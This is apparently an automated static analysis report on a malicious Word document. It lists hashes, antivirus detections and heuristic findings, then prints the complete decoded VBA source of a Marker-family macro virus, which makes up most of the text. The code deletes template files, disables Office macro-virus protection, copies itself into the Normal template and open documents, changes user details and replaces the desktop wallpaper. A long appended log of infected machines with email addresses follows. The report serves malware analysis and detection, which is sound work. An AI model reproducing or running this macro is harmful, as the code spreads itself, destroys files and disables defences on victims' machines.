Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4faeeb769e1c2131…

MALICIOUS

Office (OLE)

76.0 KB Created: 2012-05-15 06:53:00 Authoring application: Microsoft Office Word First seen: 2014-02-28
MD5: 058fd406d2bdde6af15987c9665fb39d SHA-1: c2fcb74ec85f4484ca2cb9b1e0226e5d03ebbbca SHA-256: 4faeeb769e1c2131218b83d14b0eb16ffed1a40fe0d87d8aef1584414c290d72
210 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10442 bytes
SHA-256: 6c88597d281389549f9b51b228608d04777f112cd36497e0a3e43b34843788eb
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today."
 Print #1, "<p>You were gone since yester month.  But the memories never would dissapear."
 Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>"
 Close #1
 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html"
Return
Finish:
End Sub
'Logfile -->

' 06:14:2518:14:25 -Kamis, 22 Jul 1999
' JonMMx 2000
' jonthebest@hotbot.com


' 09:07:259:07:25 -Sabtu, 24 Jun 2017
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:03:2112:03:21 PM PM-Friday, 27 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:47:402:47:40 PM PM-Sunday, 29 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:37:562:37:56 AM AM-Monday, 30 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:29:4310:29:43 PM PM-Wednesday, 1 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:28:249:28:24 AM AM-Sunday, 5 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:17:912:17:09 PM PM-Monday, 13 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:48:159:48:15 AM AM-Sunday, 26 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:34:5808:34:58 -Wednesday, 6 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:09:535:09:53 PM PM-Monday, 18 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:55:3110:55:31 AM AM-Wednesday, 20 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:57:5211:57:52 AM AM-Saturday, 6 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:302:51:03 PM PM-Monday, 29 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:24:1411:24:14 AM AM-Tuesday, 11 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:57:3103:57:31 PM PM-Thursday, 13 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:26:2203:26:22 下午 下午-Thursday, 17 Feb 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:55:178:55:17  AM-Tuesday, 21 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:15:509:15:50 AM-Thursday, 30 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:1910:43:19  AM-Monday, 22 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:36:388:36:38  AM-Wednesday, 31 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:33:210:33:02  AM-Saturday, 17 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:45:4612:45:46  PM-Wednesday, 26 Jul 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:12:4714:12:47 PM-Tuesday, 26 Sep 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:07:2715:07:27  PM-Tuesday, 14 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:04:3319:04:33  PM-Thursday, 16 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:29:1818:29:18  PM-Wednesday, 22 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:26:2310:26:23  AM-Saturday, 25 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:08:527:08:52  AM-Sunday, 26 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:15:508:15:50  AM-Friday, 22 Dec 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:158:50:15  AM-Wednesday, 7 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:36:59:36:05  AM-Thursday, 8 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:35:3403:35:34 下午 下午-Saturday, 24 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:43:1212:43:12 下午 下午-Saturday, 17 Mar 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:40:5910:40:59 上午 上午-Wednesday, 18 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:5702:51:57 下午 下午-Friday, 20 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:30:5801:30:58 下午 下午-Tuesday, 22 May 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:18:5812:18:58 下午 下午-Saturday, 16 Jun 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:16:722:16:07 下午-Sunday, 27 Feb 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:02:1515:02:15 下午-Wednesday, 9 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:54:2517:54:25 下午-Thursday, 17 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:37:1015:37:10 下午-Tuesday, 29 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:53:5917:53:59 下午-Thursday, 14 Apr 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:49:5517:49:55 下午-Wednesday, 15 Jun 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:56:3412:56:34 下午-Monday, 11 Jul 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:1010:43:10 上午-Friday, 29 Jul 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:40:2614:40:26 下午-Wednesday, 3 Aug 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:12:308:12:30 上午-Thursday, 25 Aug 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:36:914:36:09 下午-Saturday, 27 Aug 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:53:5513:53:55 下午-Monday, 29 Aug 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:26:2014:26:20 下午-Sunday, 4 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:56:69:56:06 上午-Wednesday, 14 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:20:98:20:09 上午-Thursday, 15 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:28:5515:28:55 下午-Friday, 11 Nov 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:27:5811:27:58 上午-Wednesday, 16 Nov 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:32:238:32:23 上午-Thursday, 1 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:00:4117:00:41 下午-Thursday, 8 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:52:4114:52:41 PM-Saturday, 28 Apr 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:53:68:53:06 AM-Saturday, 5 May 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:04:5413:04:54 PM-Wednesday, 9 May 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

Open this report in the interactive analyzer, or submit your own file for analysis.